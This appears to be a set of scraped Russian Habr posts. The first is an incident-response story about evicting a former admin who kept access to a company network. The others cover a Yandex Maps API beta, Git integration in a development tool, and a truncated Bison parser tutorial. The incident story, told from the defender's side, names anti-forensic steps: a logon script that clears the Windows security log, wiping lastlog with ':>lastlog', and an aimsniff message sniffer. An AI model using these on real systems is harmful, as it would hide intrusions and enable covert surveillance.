В понедельник на этой неделе половина опять захотела посмотреть логи, и оказалось, что не может зайти на сервер Gentoo, где и работает squid. При этом Вова уехал куда-то на 5 дней и обещал быть доступен. Половина приходит с работы и делится переживаниями — я говорю, ну звони, узнавай. Часов в 8 вечера звонит, сообщает о проблеме. Вова перезванивает в полдесятого, говорит — а я могу зайти, вот с таким-то паролем. Половина пробует — заходит в туннель, потом заходит на нужный сервер — всё получается и пароль тот же, что она набирала. Я без особого внимания — ну подумаешь, не переключила раскладку или в имени ошиблась. Во вторник уходит на работу — там пробует ту же операцию — подключиться не удаётся, опять жалуется. Говорю, ну ладно, разберётесь — мало ли что бывает, может там через Kerberos проверка выполняется, а он ломается.
Среда — опять вопрос ко мне, как же попасть на тот сервер. Параллельно с рабочими вопросами в фоновом режиме по аське — говорю, ну поищите быкап вашего сервера Gentoo, посмотрите в нём конфигурацию, файл /etc/shadow (в слабой надежде на то, что быкап есть — сделался ночью и содержит более-менее актуальные данные и в нём будет видна дата изменения shadow или можно посмотреть, правда ли там Kerberos настроен). Сначала вроде быкап не находится, а потом всё-таки ура, нашли его — на сервере с FreeBSD. Пока думали, что с ним делать/копировать/не копировать и как смотреть — её подключение к FreeBSD отваливается и больше зайти нельзя, пароль не подходит. Я говорю, ну звони Вове, спрашивай пароль, пусть пробует, налаживает. Вова недоступен. Ну ладно, потерпите, позже разберётесь. Параллельно вяло отвечаю на другие вопросы — а почему у меня журнал Безопасности на контроллере домена очищается? Ну не хочется фантазировать и некогда, поэтому традиционный ответ «пойми, при каких условиях это происходит, а потом проанализируем...». Ну уже какие-то её смутные сомнения начали терзать, может это Вова?
Я говорю — ну если сомневаешься, запрети просто доступ во внутреннюю сеть пока он не приедет, может его пароль куда-то ушёл и кто-то вместо него сейчас у вас. Она поручила сделать это новенькому парню и отправилась домой. Доступ в VPN, который был настроен на Cisco, ограничивался через группу WebVPN в AD. Парень аккуратно делает снимки экрана с составом этой группы до и после изменений и высылает половине на почту в 17:55.
Потом домашние дела, и часов в 10 вечера хоть и не хочется этим всем заниматься, но думаю, ну ладно, сейчас быстро помогу и к своим делам. Пробуем подключиться и посмотреть ещё раз, что же там теперь ещё с FreeBSD, почему теперь туда не удаётся зайти. И о чудо, теперь не удаётся зайти и в VPN. При этом уже я уверен, что с конфигурацией VPN-клиента всё нормально, ничего в ней не менялось. Какое-то возникло чувство, что это уже просто неправильными настройками не объяснить, а кто-то обиделся на то, что ограничили вход в VPN. При этом сам он не пострадал от этого никак — всё так же легко зашёл, просто видимо пришлось откуда-то доставать запасной логинопароль, а это задело. Половина звонит Вове — он по-прежнему не отвечает. Звонит новенькому парню, просит попробовать — и у него такая же ерунда.
#### Боевые действия
Я говорю — ну что, дело плохо пахнет, надо ехать на место и разбираться. Собрались — нашёл старый компакт с Ubuntu и флешку взяли, поехали туда. Пока ехали, какой-то план в голове формировался, но вообще ехать и что-то быстро делать в неизвестной для меня сети, да ещё с таким зоопарком ОС — как-то пугает. Первая мысль — надо отключить Интернет, но если я его отключу, я смогу только на себя рассчитывать и те проблемы, с какими не сталкивался, не решу. Например, с Cisco дела не имел — перед выездом быстро нашёл, как сбросить пароль, на флешку записал, но понимал, что само по себе это не поможет, надо будет ещё её конфигурацию менять. Но если Интернет не отключать и проявить хоть какую-то активность, он заметит и может пойти на что угодно. Поэтому всё-таки первое — отключить.
Заходим в её кабинет, она сразу за компьютер — я посмотрю. Я говорю — ничего не трогай, не надо себя выдавать. Успела только мышкой пошевельнуть. Пошли сразу в серверную, там стоит стойка, много чего в неё напихано. Для сети с 50 компами даже слишком много. Когда я администрировал сеть со 150 не позволял себе настолько раскручивать руководство. Какие-то сетевые KVM (я такие и не видел, понял суть только по подключениям), и UPS с сигналами по Ethernet, ещё что-то интересное. Камера стоит, пишет всё, что происходит. Как потом сказала половина, со звуком пишет. Разбираюсь в проводах — выяснилось, что в Cisco входит и оптика, и что-то из радиосети — резервный канал. То есть вроде как и два канала, а если Cisco падает, Интернета не будет никакого. Спрашиваю — есть ли где-то ещё 3G-модемы? Есть, но без симок. Ну и я значит опять без Интернета, ну зато и в сеть кажется только эти два пути ведут. После наверное минуты колебаний всё-таки волевое решение — перевести Cisco в самое безопасное состояние — выключить. Половина сильно занервничала «а что если», а мне что — терять нечего, работа не моя. Это было уже где-то 23:30.
Дальше вставляю компакт с Ubuntu в сервер «Gentoo», не грузится — надо в BIOS менять параметры загрузки. Ура, на BIOS нет пароля, а то с ужасом представил — вынимать сервер из стойки, а потом из него диски или в нём искать джампер. Загружается Ubuntu, стою и смеюсь — вот посмотрит кто-то видео, как я с 'самым чайниковским' Linux'ом полез в логово кулхацкера, застыдит.
Ну тем не менее система загрузилась, RAID увиделся (опять ура), флешка заработала (не ура, что USB 1.1, ну и ладно). Смотрю /etc/shadow — ну пока ничего подозрительного, дата не смущает — до момента, когда половина не смогла зайти. Содержимое конечно сложно проверить, запускаю копирование /etc на флешку и изучаю дальше. В /var/log тоже ничего в глаза не бросается, какие-то файлы пустые (типа sshd.log), что странно, но мало ли — может лог отключен. Архивирую ещё логи для истории и каталог /root. Одно интересное всё-таки нахожу — в файле lastlog виден IP-адрес: 87.245.163.145. Интернета нет, проверить и с чем-то сопоставить возможности нет, интрига сохраняется. Потом захожу на контроллер домена Windows, посмотреть, а что же там с группами и пользователями. Первое — журнал Безопасности — и сюрприз: последнее событие «очищен в 00:32» пользователем тем как раз, которым я и зашёл. Следующее событие сразу за ним — Аудит отслеживания процессов, «c:\windows\system32\wscript.exe завершает работу». На самом деле я только в этот момент обрёл уверенность, что всё-таки это не сбои компьютерные и не ошибки настройки. До этого можно было сомневаться и думать, ну может какое-то недоразумение, недопонимание.
В Windows у меня опыта побольше (так сложилось), быстро проверяю Автозагрузку, реестр, групповые политики (домена, контроллеров домена), в итоге нахожу usrlogon.vbs в NETLOGON, а запуск его назначен просто в профиле пользователя избранным. Можно было наверное и всем поставить, но видимо поленились. Сам script тоже бесхистростный — через WMI очищается журнал безопасности. Дата создания скрипта — сегодняшний вечер, 21 с чем-то. Переименовываю его сразу от греха подальше. Смотрю через net user время входа административных пользователей. И оказывается, что вот admin и заходил в 23 с чем-то. То есть был в сети в момент, когда мы пришли и обрубили Интернет. Ещё другой пользователь, с правами админа — тоже входил вечером, когда на работе уже никого не было.
Запускаю поиск файлов, изменённых за последние сутки — нахожу c:\program files(x86)\qip\\config.ini. То есть понятно, что он читал наши с ней логи и поэтому мог оперативно отключать её сеансы и серверы. Например в процессе такого диалога:
`[09:59] она: журнал безопасности на xxx сервере ведется с 20 июля с 00:36
[10:00] я: а там какой предельный размер?
[10:00] она: на yyy-ом 131 мб
[10:13] я: а на xxx?
[11:21] она: как непонятно все работает
[11:21] она: хотела из запущенного терминала записать команду введенную ранее опустила глаза в тетрадь' подняла - терминала нет`
На это я просто тогда не обращал внимания. Возможно, в последний день он хотел уже что-то и сам мне написать, раз в config.ini полез. Были ещё менее интересные находки в файлах, типа в «Recent Documents» test.wsh — видимо тренировался кто-то, над чем-то ещё работал. Чтобы поискать интересное позже, запустил архивацию профилей важных пользователей.
Время идёт, а жаворонкам такой поздней ночью плохо думается и хочется спать. Поэтому уже захотелось довести до какой-то точки. Закрутить по-настоящему гайки в домене, на сервере Gentoo поставить-таки свой пароль root'у, а FreeBSD, где лежали быкапы, показалось проще вообще отключить. С Windows мне опять проще — профильтровать группы Администраторов, сменить пароль оставшимся админам.
Возвращаюсь на сервер Gentoo — там прямо из Ubuntu решил поменять /etc/shadow, убрать пароли в нём, чтобы поставить свои после перезагрузки. Просматриваю список пользователей внимательнее — вижу aimsniff — красота! locate aimsniff, нахожу конфиг, в котором задаётся фильтр, по каким портам перехватывать сообщения и куда писать (в БД MySQL). Да, есть такая база, даты свежие. Останавливаю aimsniff, убираю из запуска.
Потом перегружаю всё-таки систему в нормальном режиме, в Gentoo — она успешно загружается — ура, ничего не поломалось. Сбрасываю пароли root/toor, остальных сомнительных отключаю.
Всё, похоже конец, около 4 утра. Остался философский вопрос — включить ли cisco, чтобы некто мог войти внутрь, но и люди изнутри могли пользоваться Интернетом, или не включать и утром уже переключать каналы и т. д. Не зная противника, сложно предугадать его поведение, но умный бы наверное понял, что всё-таки нашла коса на камень, затаился бы и если и ходил бы на cisco дальше, то по-тихому. Я сделал ставку на это — включили cisco, проверили на рабочем месте — Интернет работает, как и работал — ничего не изменилось. С чувством удовлетворения удалились. Утром я уже туда не поехал, надо свою работу делать, но оказалось, что расчёт был неверен — он видимо не поверил чему-то и продолжил активную деятельность. В сети перестал работать Интернет. А молодой парень, который продолжал сегодня приводить сеть в порядок, сказал, что пока он управлял чем-то через сетевой KVM, к нему кто-то подключался. Я сказал, что сетевым KVM'ом ни в коем случае пользоваться сейчас нельзя, надо отключать, и переходить на обычные или просто физически подключать, что нужно. Позже днём уже Интернет был подключен без cisco, и время покажет, что будет дальше.
Но наверное не должна детективная история заканчиваться без разоблачения. Наверное самые не ленивые уже посмотрели, что за IP я привёл, он относится к сети:
Owner Name: Network for OOO «Kabeljnyy Internet Krasnoznamenska»
From IP: 87.245.163.128
To IP: 87.245.163.159
Address: Russia, Moscow region, Krasnoznamensk, ul. Krasnokazarmennaya, d. 23
В /root/.history (которую он не успел очистить, не ожидав, что мы в поздний час поедем на место разбираться) я увидел «ping moneybox.sktv.ru», а sktv.ru — это опять Краснознаменск. По наличию команд «:>lastlog » там же можно предположить, что IP-адрес настоящий, а не какой-то промежуточный, который не стоило бы скрывать.
Какую роль в этом играл Вова и связывался ли он с этим бывшим админом (условно Ромой), когда надо было поменять пароль, наверное ещё станет известно.
Некоторые подробности этой истории я писал для тех, кто может попасть в подобную ситуацию, вдруг это пригодится. Прекрасно понимаю, что и обратная сторона может делать более сильные ходы, но физический доступ есть физический доступ и если действовать аккуратно, победить возможно. Вот так. | https://habr.com/ru/post/124658/ | null | ru | null |
# JavaScript API Яндекс.Карт — версия 2.1-beta — новый дизайн и новые возможности
Мы выпустили [бета-версию API Яндекс.Карт 2.1](http://api.yandex.ru/maps/). Главная ее особенность — полный редизайн интерфейса карты. Причем изменения затронули не только внешний вид, но и поведение элементов управления картой. Поскольку изначально было понятно, что поломки обратной совместимости не избежать, мы также внесли архитектурные изменения, которые были необходимы для улучшения работы API (о них ближе к концу поста).
[](http://habrahabr.ru/company/yandex/blog/196288/)
Что касается дизайна, нам было важно, чтобы интерфейс одинаково хорошо выглядел на устройствах и экранах разных размеров. Одна из основных сложностей заключается в том, что мы никогда не знаем заранее, как будет выглядеть сервис или сайт со встроенными картами. Поэтому при разработке редизайна нам нужно было постараться предусмотреть максимум вариантов.
Для решения наших задач мы решили в новой версии реализовать адаптивный дизайн интерфейса. На Yet another Conference дизайнер [madhare](http://habrahabr.ru/users/madhare/) и разработчик [zloylos](http://habrahabr.ru/users/zloylos/) выступили с докладом о том, [зачем нам понадобилась адаптивность и как именно мы ее реализовали в API](http://tech.yandex.ru/events/yac/2013/talks/1113/). В этом посте я опишу предысторию и концепцию наших решений, расскажу о том, что еще нового появилось в версии 2.1-beta, а также о том, что еще изменится к релизу 2.1.
#### Зачем мы думаем о дизайне?
После релиза версии 2.0 мы уже писали [пост](http://habrahabr.ru/company/yandex/blog/142310/), в котором рассказывали о нашем подходе к разработке API. Суть концепции заключается в том, что мы делаем продукт не только для разработчиков, но и для тех, кто будет пользоваться результатами их работы. Если человеку будет удобно и приятно пользоваться нашими картами, и он будет требовать от любимых сервисов именно их — это будет настоящий успех. При этом разработчикам тоже должно быть легко и приятно удовлетворять желания пользователей, а значит мы должны по-максимуму упростить их работу с API. С такими мыслями мы начали работу над версией 2.0, а новая 2.1-бета стала логичным продолжением этой же концепции.
#### Исследование
Наблюдая за инсталляциями нашего API и анализируя кейсы использования карт, мы выделили два основных типа разработчиков:
* Решают типовые задачи, не хотят тратить много времени, предпочитают готовые интерфейсы Яндекса. Таких примерно 90%.
* Решают нестандартные задачи или предпочитают даже типовые задачи решать по-своему. Им не подходят стандартные элементы управления. Нужна серьезная кастомизация карт. Логично, что это оставшиеся 10%.
Итак, нам нужно было сделать хорошо первым, оставив пространство для маневра вторым. Т.е. подготовить набор готовых решений, которые сами контролируют внешний вид итоговой карты, т.е. «делают хорошо», но при этом при желании их можно настроить под собственные нужды. Задачей максимум стало соблюсти баланс.

Определившись с аудиториями, мы начали изучать кейсы использования. Оказалось, что в нашем случае основное значение имеет, как ни странно, размер. У нас получилось 3+1 варианта: маленькая, средняя, большая карта и мобильные сайты.
#### Рисуем дизайн для карт разных размеров
Самый тяжелый случай — маленькие карты. Кажется, что из-за маленького размера стоит убирать все элементы управления картой, но и терять функциональность тоже не хочется. Поэтому специально для маленьких карт мы сделали новый набор контролов:

Также был добавлен новый элемент управления — «развернуть карту на весь экран». Он экономит место на сайте за счет размещения небольшой карты, а у конечного пользователя остается возможность посмотреть большую карту. Все нужное поведение карты запрограммировано уже на стороне API. Вообще идея этой кнопки родилась, когда мы думали о решении для мобильных устройств. Карта приемлемого размера на десктопе может стать совершенно бесполезной на мобильном. Фулскрин решает эту проблему:

Помимо этого изменился дизайн балунов для небольших размеров карт. Теперь на маленьких картах и экранах мобильных устройств стандартный балун заменяется на плашку внизу экрана. Это позволяет сохранить большую информативность карты для пользователей. При желании эту опцию можно отключить.

Со средними картами все гораздо проще. Поскольку есть, где развернуться:

Как и с большими картами:

Чтобы максимально упростить работу разработчиков при выборе элементов управления картой, мы сделали три готовых набора для разных размеров карты.
```
map.controls.add('default');
```
Список доступных ключей:
smallMapDefaultSet // для маленькой
mediumMapDefaultSet // для обычной
largeMapDefaultSet // для большой
Разумеется, по-прежнему можно самостоятельно указывать нужные контролы.
```
myMap.controls
.add('trafficControl') // пробки
.add('searchControl') // поиск
.add('zoomControl') // зум-контрол
.add('typeSelector') // слои
.add('geolocationControl') // геолокация
.add('fullscreenControl') // фуллскрин
…
```
#### Адаптивность
Недостаточно просто отрисовать дизайн интерфейса для разных размеров карт. Ведь страницу с картой могут открывать на разных экранах. Именно поэтому решено было реализовывать адаптивное поведение интерфейсов карты. Различные элементы интерфейса перестраиваются и меняют свой размер в зависимости от фактического размера контейнера карты.

Адаптивное поведение мы реализовали через [control.Manager](http://api.yandex.ru/maps/doc/jsapi/beta/ref/reference/control.Manager.xml). Также его можно задавать и для тех кнопок и списков, которые вы создаете сами:


#### Работы по ускорению и оптимизации
Геообъект — это главная сущность на карте. За такой титул ему приходится расплачиваться довольно сложной и громоздкой структурой. Первая итерация работ над геообъектами заключалась в распределении нагрузки при их создании. Мы постарались вынести все подготовительные операции из конструктора геообъекта в места, где они действительно становятся нужны. Это дало очень хорошие результаты. Также в некоторых местах мы сделали ленивую инициализацию сущностей с помощью \_defineGetter\_ и defineProperty (\_defineGetter\_, кстати, немного быстрее). Мы сократили количество подписок на события геообъектов внутри нашей системы событий. Частично помог прием подписки сразу на группу геообъектов с последующим определением в обработчике целевого объекта. Здесь нужно признаться, что ускорение можно пощупать только на dom и canvas метках, новые svg метки нам предстоит дорабатывать (why we call it beta? Because it beta then nothing… ;)
Во время работы у нас было время на небольшую уборку в коде, по ее результатам приведем микровыводы:
Микровывод 1. При передаче функции-обработчика намного выгоднее передавать отдельно функцию, отдельно контекст. Если у вас чешутся руки сделать bind сразу, подумайте, можете ли вы это себе позволить.
Микровывод 2. Сокращайте количество промежуточных массивов, объектов и анонимных функций. Они не всегда хорошо чистятся garbage collector-ом.
#### Прочие изменения
1. В версии API 2.0 для определения местоположения по IP или с помощью Geolocation API разработчикам приходится самостоятельно использовать необходимые методы и обрабатывать полученный результат. В версии 2.1 достаточно просто добавить новый стандартный элемент управления:
```
control.GeolocationControl(parameters)
```
Также был улучшен механизм определения местоположения пользователя, используемый в API. Теперь автоматически выбирается наиболее точный результат из браузерной геолокации и геолокации по IP-адресу.
2. Стандартные метки в API были перерисованы в SVG, а это значит, что им можно задавать произвольные цвета.
3. Система пакетов в версии 2.1 будет ликвидирована. Интерфейсы API изменены таким образом, чтобы максимально вынести загрузку компонент API по требованию, для чего большинство отображений были переведены в асинхронный режим. Работы еще ведутся.
4. Для такого масштабного обновления нам пришлось пожертвовать обратной совместимостью с версией 2.0. Также к официальному релизу версии 2.1 может сломаться обратная совместимость для некоторых частей бета-версии:
* Существенно изменится кластеризатор.
* Будет переписан map.action.Manager.
* Promises будут реализованы по [спецификации DOM](http://dom.spec.whatwg.org/#promises).
* Часть объектов в неймспейсе ymaps будет вынесена в загрузку по требованию.
5. После выхода из беты версии 2.1 изменится система версионирования. До официального релиза подключить последнюю версию API можно будет только по ссылке api-maps.yandex.ru/2.1-dev.
Справочник по программному интерфейсу API 2.1-beta [опубликован на сайте API](http://api.yandex.ru/maps/doc/jsapi/beta/ref/concepts/About.xml). Примеры можно посмотреть в [песочнице](http://api.yandex.ru/maps/jsbox/placemark_balloon). А также на новом API уже работает [бета-версия Яндекс.Карт](http://beta.maps.yandex.ru). | https://habr.com/ru/post/196288/ | null | ru | null |
# Внедрение Git в корпоративную систему разработки

Разработчиков, которые знают и умеют работать с git, за последнее время выросло на порядок. Привыкаешь к скорости выполнения команд. Привыкаешь к удобству веток и легкого отката изменений. Разрешение конфликтов настолько обыденно, что программисты привыкли к героическому разрешению конфликтов там, где их быть не должно.
Наша команда в Directum разрабатывает инструмент разработки для платформенных решений. Если вы видели 1С, то примерно сможете представить рабочее окружение наших "клиентов" — прикладных разработчиков. С помощью этого самого инструмента разработки прикладной разработчик создает прикладное решение для заказчиков.
Перед нашей командой встала задача упростить жизнь нашим прикладникам. Мы разбалованы современными фишками из Visual Studio, ReSharper и IDEA. Прикладники требовали от нас внедрить в инструмент работу с git "из коробки".
Сложность то вот в чем. В инструменте на каждый тип сущности (договор, отчет, справочник, модуль) могла присутствовать блокировка. Один разработчик начинал редактировать тип сущности и блокировал его до тех пор, пока не завершит изменения и не закомитит их на сервер. Остальные разработчики в это время просматривают тот же тип сущности только на чтение. Разработка чем-то напоминала работу в SVN или пересылку документа Word по почте между несколькими пользователями. Хочется сразу всем, а может только один.
У каждого типа сущности может быть много обработчиков (открытие документа, валидация перед сохранением, запись в БД), в которых требуется написать код, который работает с конкретным экземпляром сущности. Например, заблокировать кнопки, отобразить пользователю сообщение или создать новое задание исполнителям. Весь код в рамках API, предоставляемого платформой. Обработчики — классы, в которых лежит много методов. Когда двум людям было необходимо поправить один и тот же файл с кодом, сделать это не представлялось возможным, потому что платформа блокировала тип сущности целиком вместе с зависимым кодом.
Наши прикладники пошли во все тяжкие. Они тихонько форкнули себе "нелегальную" копию нашей среды разработки, закоментировали часть с блокировками и мержили к себе наши коммиты. Прикладной код держали под гитом, коммитили через сторонние инструменты (git bash, SourceTree и прочие). Мы сделали свои выводы:
1. Наша команда недооценила готовность прикладных разработчиков влезть в платформу. Огромное уважение и почет!
2. Решение, предложенное ими, на продакшен не годится. С git у человека развязаны руки и он способен сотворить всё, что угодно. Поддерживать всё многообразие будет глупо, не угонимся. К тому же придется обучить заказчиков платформы. Задокументировать все команды git применительно к платформе свело бы команду документирования с ума.

Чего хочется от Git
===================
Значит отдавать на продакшен гитом наружу не годится. Решили как-то инкапсулировать логику основных операций и ограничить их количество. По крайней мере для первого релиза. Список команд сокращали как могли и остались:
* status
* commit
* pull
* push
* reset --hard к HEAD
* reset к последнему "серверному" коммиту
Для первого релиза от работы с ветками решили отказаться. Не то, чтобы это очень сложно, просто команда не уложилась в ресурс времени.
Периодически наши партнёры присылают свою прикладную разработку и спрашивают: "У нас что-то не работает. Что мы делаем не так?". В этом случае прикладник загружает себе чужую разработку и глядит в код. Раньше это работало так:
1. Разработчик забирал себе архив с разработкой;
2. Изменял в конфигах локальную БД;
3. Заливал чужую разработку к себе в базу;
4. Отлаживал, находил ошибки;
5. Выдавал рекомендации;
6. Возвращал свою разработку назад.
Новая методология не укладывалась в старый подход. Пришлось поломать голову. Команда предложила два подхода для решения этой проблемы:
1. Хранить все разработки в одном git-репозитории. При необходимости работы с чужим решением создавать временную ветку.
2. Хранить разработки разных команд в разных репозиториях. Вынести настройки загружаемых в среду папок в конфигурационный файл.
Решили идти по второму пути. Первый показался сложнее в реализации и к тому же, легче выстрелить себе в ногу с переключениями веток.
Но и со вторым тоже не сладко. Команды, которые описаны выше, должны работать не просто в пределах одного репозитория, а сразу с несколькими. Есть изменения в типах сущностей из разных репозиториев? Мы показываем их в одном окошечке. Так удобнее и прозрачно для прикладного разработчика. Нажимая кнопку commit, инструмент фиксирует изменения в каждом из репозиториев. Соответственно команды pull/push/reset "под капотом" работают с физически разными репозиториями.

Libgit2sharp
============
Для работы с git выбирали из двух вариантов:
1. Работать с git, установленным в системе, дёргая его через Process.Start и разбирая вывод.
2. Использовать libgit2sharp, который через pinvoke дёргает библиотеку libgit2.
Нам показалось, что использовать готовую библиотеку — разумное решение. Зря. Чуть позже расскажу почему. На первых порах библиотека дала нам возможность быстро выкатить рабочий прототип.
Первая итерация разработки
==========================
Удалось реализовать примерно за месяц. На самом деле прикручивание гита было быстрым, а большую часть времени мы пытались вылечить вскрытые раны из-за того, что выпилили старый механизм хранения исходных файлов. В интерфейс просто отдавали всё, что возвращал `git status`. При клике на каждый файл отображается diff. Выглядело как интерфейс git gui.
Вторая итерация разработки
==========================
Первый вариант оказался чрезмерно информативен. С каждым типом сущности связано сразу много файлов. Эти файлы создавали шум, и становилось неясно, какие же типы сущности изменились и что конкретно.
Сгруппировали файлы по типам сущности. Каждому файлу дали человекочитаемое имя, такое же как и в GUI. Метаданные типа сущности описаны в JSON. Их тоже нужно было представить в человекочитаемом формате. Анализ изменения в версиях json "до" и "после" начали с помощью библиотеки jsondiffpatch, а затем написали собственную реализацию сравнения JSON (далее буду называть jsondiff). Результаты сравнения прогоняем через анализаторы, которые выдают человекочитаемые записи. Много файлов скрыли с глаз, оставляя простую запись в дереве изменений.
Конечный результат получился таким:

Возникшие сложности с libgit2
=============================
Libgit2 выдал большое количество неожиданных сюрпризов. Разобраться с некоторыми оказалось не под силу в разумное время. Расскажу, что вспомню.
Неожиданные и трудновоспроизводимые падения на некоторых стандартных операциях. "No error provided by native library" говорит нам обёртка. Прекрасно. Чертыхаешься, пересобираешь нативную библиотеку в debug, повторяешь упавший ранее кейс, а оно в debug режиме не падает. Пересобираешь в release и снова падает.
Если с libgit2sharp параллельно запущен сторонний инструмент, скажем SourceTree, то commit может не закоммитить некоторые файлы. Или зависает при отображении диффов на некоторых файлах. Как только пытаешься отладить, не получается воспроизвести.
У одного из наших прикладников выполнение аналога `git status` занимало 40 секунд. Сорок, Карл! При этом запущенный из консоли гит отрабатывал как положено в течение секунды. Я потратил пару дней, чтобы разобраться. Libgit2 при поиске изменений глядит на файловые атрибуты папок и сравнивает их с записью в индексе. Если время модификации отличается, значит внутри папки что-то изменилось и нужно заглянуть внутрь и/или поискать в файлах. А если ничего не менялось, то и внутрь лезть не стоит. Эта оптимизация видимо есть и в консольном git. Не знаю по какой причине, но именно у одного человека в индекс git изменялся mtime. Из-за этого git каждый раз проверял на наличие изменений содержимое ВСЕХ файлов в репозитории.
Ближе к релизу наша команда прогнулась под пожелания прикладников и заменили `git pull` на `fetch + rebase + autostash`. И тут к нам приехало ещё куча багов, в том числе и с "No error provided by native library".
status, pull и rebase работают заметно дольше вызова консольных команд.
Автоматический мерж
===================
Файлы в разработке делятся на два типа:
1. Файлы, которые прикладник видит в инструменте разработки. Например, код, изображения, ресурсы. Такие файлы нужно мержить так, как это делает git.
2. Файлы JSON, которые создаются средой разработки, но прикладной разработчик их видит только в виде GUI. В них требуется автоматически разрешить конфликты.
3. Генерируемые файлы, которые автоматически пересоздаются при работе с инструментом разработки. В репозитории эти файлы не попадают, инструмент сразу заботливо кладёт .gitignore.
С новым укладом два разных прикладника смогли изменить один и тот же тип сущности.
Например, Саша изменит информацию о том, как хранить тип сущности в базе данных и напишет обработчик события сохранения, а Сергей стилизует представление сущности. С точки зрения git это конфликтом не будет и оба изменения сольются без сложностей.
А потом Саша изменил свойство Property1 и задал ему обработчик. Сергей создал свойство Property2 и задал обработчик. Если посмотреть на ситуацию сверху, их изменения не конфликтуют, хотя с точки зрения git затронуты одни и те же файлы.
Захотелось, чтобы инструмент смог самостоятельно разрулить подобную ситуацию.
Примерный алгоритм слияния двух JSON при возникновении конфликта:
1. Загружаем из гита JSON base.
2. Загружаем из гита JSON ours.
3. Загружаем из гита JSON theirs.
4. Используя jsondiff, формируем программные патчи base->ours и применяем к theirs. Получившийся JSON назовём P1.
5. Используя jsondiff, формируем программные патчи base->theirs и применяем к ours. Получившийся JSON назовём P2.
6. В идеале после применения патчей P1 === P2. Если это так, то записываем P1 на диск.
7. В неидеальном случае (когда действительно нашелся конфликт) предлагаем пользователю выбрать между P1 и P2 с возможностью допилить руками. Записываем выбор на диск.
После слияния проверяем, пришли ли к состоянию без ошибок валидации. Если не пришли, то отменяем такое слияние и просим пользователя повторить. Это не лучшее решение, но оно хотя бы гарантирует, что со второй или третьей попытки слияние произойдет без неприятных последствий.
Итоги
=====
1. Прикладники довольны, что могут легально пользоваться.
2. Внедрение git ускорило разработку.
3. Автоматические слияния вообще выглядят как магия.
4. Заложим на будущее отказ от libgit2 в пользу вызова процесса git. | https://habr.com/ru/post/412787/ | null | ru | null |
# Bison, dynamic linking и… обработка BMP изображений
В этом посте я постараюсь раскрыть тему написания несложного модульного приложения на языке C89 для обработки 24-битных BMP изображений, использующего в своей работе простой скриптовый язык.
Если вы заинтересованы в разработке языков или вам необходимо быстро разобраться как писать приложения, динамически загружающие исполняемый код, хранящийся в разделяемых библиотеках (dll, so), то возможно вам будет интересен данный материал.
Постановка задачи
-----------------
Задача примерно следующая: разработать инструмент для обработки BMP (как самый простой формат) изображений с 24-битным кодированием цветов с возможностью расширения функционала без перекомпиляции и скриптовым языком для использования инструмента.
Разработка скриптового языка
----------------------------
Разработка любого языка, если конечно вы не совсем начинающий в этом деле, разумеется начинается с продумывания синтаксиса и [абстрактного синтаксического дерева](https://ru.wikipedia.org/wiki/%D0%90%D0%B1%D1%81%D1%82%D1%80%D0%B0%D0%BA%D1%82%D0%BD%D0%BE%D0%B5_%D1%81%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE) этого языка. Так как язык требуется максимально простой, и дерево его разбора будет проще некуда.
Язык должен позволять в заданном порядке вызывать трансформации для обработки изображения, при этом должна быть возможность передавать трансформации параметры при вызове. Например, для поворота картинки это должен быть угол поворота, и т.п. Намечается следующий синтаксис ([РБНФ](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D1%81%D1%88%D0%B8%D1%80%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F_%D1%84%D0%BE%D1%80%D0%BC%D0%B0_%D0%91%D1%8D%D0%BA%D1%83%D1%81%D0%B0_%E2%80%94_%D0%9D%D0%B0%D1%83%D1%80%D0%B0)):
```
script = { transformation ";" } ;
transformation = [ T_IDENTIFIER "." ] T_IDENTIFIER "(" transformation_args ")" ;
transformation_args = [ literal { "," literal } ] ;
literal = T_INTEGER | T_FLOATING | T_STRING | T_IDENTIFIER ;
```
Здесь я определяю весь скрипт как последовательность трансформаций, каждая из которых должна оканчиваться точкой с запятой, трансформация в свою очередь состоит из опционального идентификатора с точкой, что значит "имя модуля" трансформации, идентификатора самой трансформации и списка аргументов, окружённого круглыми скобками. Список аргументов представляет собой список литералов, идущих через запятую, каждый из которых может быть либо целым числом, либо дробным, либо строкой, либо идентификатором.
Я намерено оставил возможность использования идентификатора в качестве литерала для всяких трюков с трансформациями, типа [передачи функции в функцию](https://ru.wikipedia.org/wiki/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F_%D0%B2%D1%8B%D1%81%D1%88%D0%B5%D0%B3%D0%BE_%D0%BF%D0%BE%D1%80%D1%8F%D0%B4%D0%BA%D0%B0) или использования констант, однако, можно заметить, что идентификаторный литерал не может содержать имя модуля, что ограничивает набор возможных идентификаторов модулем, трансформация которого вызывается.
По описанию синтаксиса сразу очевидно, какие типы узлов АСД нам необходимы: script, transformation, transformation\_args и literal. Исходный код их определения ниже:
Определение узлов дерева
```
struct ast_position {
uint32_t row;
uint32_t col;
};
enum ast_literal_type {
L_INTEGER,
L_FLOATING,
L_STRING,
L_IDENTIFIER
};
struct ast_literal {
enum ast_literal_type type;
char * value;
struct ast_position pos;
};
struct ast_transformation_args {
struct ast_literal argument;
struct ast_transformation_args * next;
};
struct ast_transformation {
char * module;
char * name;
struct ast_transformation_args * args;
struct ast_position pos;
};
struct ast_script {
struct ast_transformation transformation;
struct ast_script * next;
};
```
Структура `ast_position` потребуется позже и будет описана ближе к концу. Можно заметить, что структуры `ast_script` и `ast_transformation_args` являются односвязными списками, потому что так их удобнее конструировать и работать с ними.
Написание парсера
-----------------
Писать парсер, как и было упомянуто в заголовке статьи, будем с помощью [Bison](https://ru.wikipedia.org/wiki/GNU_Bison), использоваться он будет в связке с [GNU Flex](https://ru.wikipedia.org/wiki/Flex_(%D0%B3%D0%B5%D0%BD%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80_%D0%BB%D0%B5%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D1%85_%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%82%D0%BE%D1%80%D0%BE%D0%B2)), потому что они, по понятным причинам, хорошо совместимы друг с другом и их удобно использовать вместе. Несмотря на то, что кажется логичным начать написание парсера с описания лексики для Flex, на самом деле более простым будет начать с описания синтаксиса языка.
